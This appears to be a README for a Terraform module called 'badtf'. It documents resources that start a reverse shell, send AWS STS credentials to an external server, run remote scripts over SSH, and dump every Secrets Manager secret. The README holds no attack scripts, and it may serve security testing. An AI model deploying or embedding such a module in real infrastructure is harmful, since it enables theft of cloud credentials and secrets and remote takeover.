Terraform Module - badtf

The badtf Terraform module is a collection of resources that perform various tasks, including running a remote script, starting a reverse shell, sending STS credentials, and retrieving secrets from AWS Secrets Manager.

Usage

To use the badtf module, you can include it in your Terraform configuration like this:

`module "badtf" { source = "path/to/badtf"

run_remote_script = true remote_script_path = "path/to/your/remote/script" remote_domain = "your.remote.domain"

run_local_script = true iam_role_name = "your-iam-role-name" external_server_url = "https://your.external.server.url"

secrets = true }`

##Input Variables

run_remote_script - Set to true to run a remote script. remote_script_path - The path to the remote script. remote_domain - The domain of the remote host.

run_local_script - Set to true to run a local script. iam_role_name - The name of the IAM role to use for the local script.

external_server_url - The URL of the external server for the local script.

secrets - Set to true to retrieve secrets from AWS Secrets Manager.

Resources

The badtf module consists of the following resources:

null_resource.remote_script - Runs a remote script on the specified host using SSH. null_resource.start_reverse_shell - Runs a local script to start a reverse shell. null_resource.send_sts_credentials - Runs a local script to send STS credentials to an external server. data.aws_secretsmanager_secret.all - Retrieves all secrets from AWS Secrets Manager. data.aws_secretsmanager_secret_version.secrets - Retrieves the latest version of each secret. null_resource.output_secrets - Outputs the names and values of the retrieved secrets.

Providers

The badtf module uses the following providers:

aws - The AWS provider is used to interact with AWS Secrets Manager.

Notes

• The module assumes that you have the necessary SSH access and AWS credentials to perform the specified operations.
• The local scripts (setup.sh and script.py) are not included in the module and need to be provided separately.
• The module does not include any error handling or validation, so it's important to ensure that the input variables are correct and the necessary resources are available.